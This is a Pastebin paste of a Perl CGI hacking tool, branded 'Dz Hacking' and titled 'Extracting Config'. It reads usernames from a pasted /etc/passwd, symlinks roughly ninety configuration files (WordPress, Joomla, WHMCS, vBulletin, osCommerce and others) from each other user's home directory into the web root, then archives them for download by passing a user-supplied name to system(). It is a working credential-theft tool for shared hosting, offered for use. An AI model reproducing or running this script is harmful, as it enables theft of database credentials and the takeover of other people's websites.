lehieuit

symlink config

Apr 21st, 2012
1,017
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 10.45 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. print "Content-type: text/html\n\n";
  3. print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  4. <html xmlns="http://www.w3.org/1999/xhtml">
  5. <head>
  6. <link rel="shortcut icon" href="http://street48.co.cc/favicon.ico">
  7. <meta http-equiv="Content-Language" content="en-us" />
  8. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  9. <title>#Dev by AminOu Dz | Extracting Config  v² 2o12 !!! Modif!ed | -</title>
  10. <style type="text/css">
  11. .dz {
  12.    font-family: Tahoma;
  13.    font-size: 10px;
  14.    font-weight: bold;
  15.    color: #00FFFF;
  16.    text-align: center;
  17.    text-shadow: black 0px 0px 2px;
  18. }
  19. #checkouttextarea {
  20.  
  21.  webkit-border-radius: 15px;
  22.  
  23. }
  24. :hover#checkouttextarea {opacity: 0.6; background-color:333333 }
  25. </style>
  26. </head>
  27. ';
  28. sub lil{
  29.     ($user) = @_;
  30. $msr = qx{pwd};
  31. $kola=$msr."/".$user;
  32. $kola=~s/\n//g;
  33. symlink('/home/'.$user.'/public_html/includes/configure.php',$kola.'-shop.txt');
  34. symlink('/home/'.$user.'/public_html/os/includes/configure.php',$kola.'-shop-os.txt');
  35. symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$kola.'-oscom.txt');
  36. symlink('/home/'.$user.'/public_html/oscommerce/includes/configure.php',$kola.'-oscommerce.txt');
  37. symlink('/home/'.$user.'/public_html/oscommerces/includes/configure.php',$kola.'-oscommerces.txt');
  38. symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$kola.'-shop2.txt');
  39. symlink('/home/'.$user.'/public_html/shopping/includes/configure.php',$kola.'-shop-shopping.txt');
  40. symlink('/home/'.$user.'/public_html/sale/includes/configure.php',$kola.'-sale.txt');
  41. symlink('/home/'.$user.'/public_html/amember/config.inc.php',$kola.'-amember.txt');
  42. symlink('/home/'.$user.'/public_html/config.inc.php',$kola.'-amember2.txt');
  43. symlink('/home/'.$user.'/public_html/members/configuration.php',$kola.'-members.txt');
  44. symlink('/home/'.$user.'/public_html/config.php',$kola.'-2.txt');
  45. symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'-forum.txt');
  46. symlink('/home/'.$user.'/public_html/forums/includes/config.php',$kola.'-forums.txt');
  47. symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'-5.txt');
  48. symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'-4.txt');
  49. symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'-wp13.txt');
  50. symlink('/home/'.$user.'/public_html/wp/wp-config.php',$kola.'-wp13-wp.txt');
  51. symlink('/home/'.$user.'/public_html/WP/wp-config.php',$kola.'-wp13-WP.txt');
  52. symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$kola.'-wp13-wp-beta.txt');
  53. symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.'-wp13-beta.txt');
  54. symlink('/home/'.$user.'/public_html/press/wp-config.php',$kola.'-wp13-press.txt');
  55. symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$kola.'-wp13-wordpress.txt');
  56. symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$kola.'-wp13-Wordpress.txt');
  57. symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$kola.'-wp13-wordpress-beta.txt');
  58. symlink('/home/'.$user.'/public_html/news/wp-config.php',$kola.'-wp13-news.txt');
  59. symlink('/home/'.$user.'/public_html/new/wp-config.php',$kola.'-wp13-new.txt');
  60. symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'-wp-blog.txt');
  61. symlink('/home/'.$user.'/public_html/beta/wp-config.php',$kola.'-wp-beta.txt');
  62. symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$kola.'-wp-blogs.txt');
  63. symlink('/home/'.$user.'/public_html/home/wp-config.php',$kola.'-wp-home.txt');
  64. symlink('/home/'.$user.'/public_html/protal/wp-config.php',$kola.'-wp-protal.txt');
  65. symlink('/home/'.$user.'/public_html/site/wp-config.php',$kola.'-wp-site.txt');
  66. symlink('/home/'.$user.'/public_html/main/wp-config.php',$kola.'-wp-main.txt');
  67. symlink('/home/'.$user.'/public_html/test/wp-config.php',$kola.'-wp-test.txt');
  68. symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'-6.txt');
  69. symlink('/home/'.$user.'/public_html/include/db.php',$kola.'-7.txt');
  70. symlink('/home/'.$user.'/public_html/connect.php',$kola.'-8.txt');
  71. symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'-9.txt');
  72. symlink('/home/'.$user.'/public_html/include/config.php',$kola.'-12.txt');
  73. symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'-joomla2.txt');
  74. symlink('/home/'.$user.'/public_html/protal/configuration.php',$kola.'-joomla-protal.txt');
  75. symlink('/home/'.$user.'/public_html/joo/configuration.php',$kola.'-joo.txt');
  76. symlink('/home/'.$user.'/public_html/cms/configuration.php',$kola.'-joomla-cms.txt');
  77. symlink('/home/'.$user.'/public_html/site/configuration.php',$kola.'-joomla-site.txt');
  78. symlink('/home/'.$user.'/public_html/main/configuration.php',$kola.'-joomla-main.txt');
  79. symlink('/home/'.$user.'/public_html/news/configuration.php',$kola.'-joomla-news.txt');
  80. symlink('/home/'.$user.'/public_html/new/configuration.php',$kola.'-joomla-new.txt');
  81. symlink('/home/'.$user.'/public_html/home/configuration.php',$kola.'-joomla-home.txt');
  82. symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'-vb.txt');
  83. symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$kola.'-vb3.txt');
  84. symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'-includes-vb.txt');
  85. symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'-whm15.txt');
  86. symlink('/home/'.$user.'/public_html/central/configuration.php',$kola.'-whm-central.txt');
  87. symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$kola.'-whm-whmcs.txt');
  88. symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$kola.'-whm-WHMCS.txt');
  89. symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$kola.'-whmc-WHM.txt');
  90. symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$kola.'-whmcs.txt');
  91. symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'-support.txt');
  92. symlink('/home/'.$user.'/public_html/supp/configuration.php',$kola.'-supp.txt');
  93. symlink('/home/'.$user.'/public_html/secure/configuration.php',$kola.'-sucure.txt');
  94. symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$kola.'-sucure-whm.txt');
  95. symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$kola.'-sucure-whmcs.txt');
  96. symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$kola.'-cpanel.txt');
  97. symlink('/home/'.$user.'/public_html/panel/configuration.php',$kola.'-panel.txt');
  98. symlink('/home/'.$user.'/public_html/host/configuration.php',$kola.'-host.txt');
  99. symlink('/home/'.$user.'/public_html/hosting/configuration.php',$kola.'-hosting.txt');
  100. symlink('/home/'.$user.'/public_html/hosts/configuration.php',$kola.'-hosts.txt');
  101. symlink('/home/'.$user.'/public_html/configuration.php',$kola.'-joomla.txt');
  102. symlink('/home/'.$user.'/public_html/submitticket.php',$kola.'-whmcs2.txt');
  103. symlink('/home/'.$user.'/public_html/clients/configuration.php',$kola.'-clients.txt');
  104. symlink('/home/'.$user.'/public_html/client/configuration.php',$kola.'-client.txt');
  105. symlink('/home/'.$user.'/public_html/clientes/configuration.php',$kola.'-clientes.txt');
  106. symlink('/home/'.$user.'/public_html/cliente/configuration.php',$kola.'-client.txt');
  107. symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$kola.'-clientsupport.txt');
  108. symlink('/home/'.$user.'/public_html/billing/configuration.php',$kola.'-billing.txt');
  109. symlink('/home/'.$user.'/public_html/manage/configuration.php',$kola.'-whm-manage.txt');
  110. symlink('/home/'.$user.'/public_html/my/configuration.php',$kola.'-whm-my.txt');
  111. symlink('/home/'.$user.'/public_html/myshop/configuration.php',$kola.'-whm-myshop.txt');
  112. symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$kola.'-zencart.txt');
  113. symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$kola.'-shop-zencart.txt');
  114. symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$kola.'-shop-ZCshop.txt');
  115. symlink('/home/'.$user.'/public_html/Settings.php',$kola.'-smf.txt');
  116. symlink('/home/'.$user.'/public_html/smf/Settings.php',$kola.'-smf2.txt');
  117. symlink('/home/'.$user.'/public_html/forum/Settings.php',$kola.'-smf-forum.txt');
  118. symlink('/home/'.$user.'/public_html/forums/Settings.php',$kola.'-smf-forums.txt');
  119. symlink('/home/'.$user.'/public_html/upload/includes/config.php',$kola.'-up.txt');
  120. symlink('/home/'.$user.'/public_html/up/includes/config.php',$kola.'-up2.txt');
  121. }
  122. if ($ENV{'REQUEST_METHOD'} eq 'POST') {
  123.   read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
  124. } else {
  125.   $buffer = $ENV{'QUERY_STRING'};
  126. }
  127. @pairs = split(/&/, $buffer);
  128. foreach $pair (@pairs) {
  129.   ($name, $value) = split(/=/, $pair);
  130.   $name =~ tr/+/ /;
  131.   $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  132.   $value =~ tr/+/ /;
  133.   $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  134.   $FORM{$name} = $value;
  135. }
  136. if ($FORM{pass} eq ""){
  137. print '
  138. <body class="dz" bgcolor="#3F74D6">
  139. <p>Dev by AminOu Dz | [ </font> <font color="black">ScripT Extracting Config !n Serv ~v² 2o12~ !! </font>]</p>
  140. <p><font color="#C0C0C0">[</font> <font color="yellow">Dz Security <font color="white">&</font> Dz Hacking <font color="white">!!</font> <font color="#C0C0C0">]</font>
  141. </p><span><font color="yellow">Usage:</font> Read File !n Sh311 => <font color="black">cat /etc/passwd</font></span><br />
  142. <br /><form method="post"><strong>
  143. <textarea id="checkouttextarea" name="pass" style="border:1px dotted #00FFFF; width:  498px; height: 370px; background-color:#ff00ff; font-family:Tahoma; font-size:9pt; color: black"  ></textarea><br />
  144. &nbsp;<p>
  145. <input name="tar" type="text" style="border:1px dotted #00FFFF; width: 212px; background-color:#ff00ff; font-family:Tahoma; font-size:8pt; color:black; "  /><br />
  146. &nbsp;</p>
  147. <p>
  148. <input name="Submit1" type="submit" value="Get Config" style="border:1px dotted #00FFFF; width: 99; font-family:Tahoma; font-size:10pt; color: black; text-transform:uppercase; height:23; background-color:#ff00ff;" /></p>
  149. </form></strong>
  150. ';
  151. }else{
  152. @lines =<$FORM{pass}>;
  153. $y = @lines;
  154. open (MYFILE, ">tar.tmp");
  155. print MYFILE "tar -czf ".$FORM{tar}.".tar ";
  156. for ($ka=0;$ka<$y;$ka++){
  157. while(@lines[$ka]  =~ m/(.*?):x:/g){
  158. &lil($1);
  159. print MYFILE $1.".txt ";
  160. for($kd=1;$kd<18;$kd++){
  161. print MYFILE $1.$kd.".txt ";
  162. }
  163. }
  164.  }
  165. print'<body class="dz" bgcolor="#3F74D6">
  166. <p>Done !!</p>
  167. <p>&nbsp;</p>';
  168. if($FORM{tar} ne ""){
  169. open(INFO, "tar.tmp");
  170. @lines =<INFO> ;
  171. close(INFO);
  172. system(@lines);
  173. print'<p><a href="'.$FORM{tar}.'.tar"><font color="#00FF00">
  174. <span style="text-decoration: none">Click Here To Download Tar File</span></font></a></p>';
  175. }
  176. }
  177.  print"
  178. </body>
  179. </html>";
Advertisement
Add Comment
Please, Sign In to add comment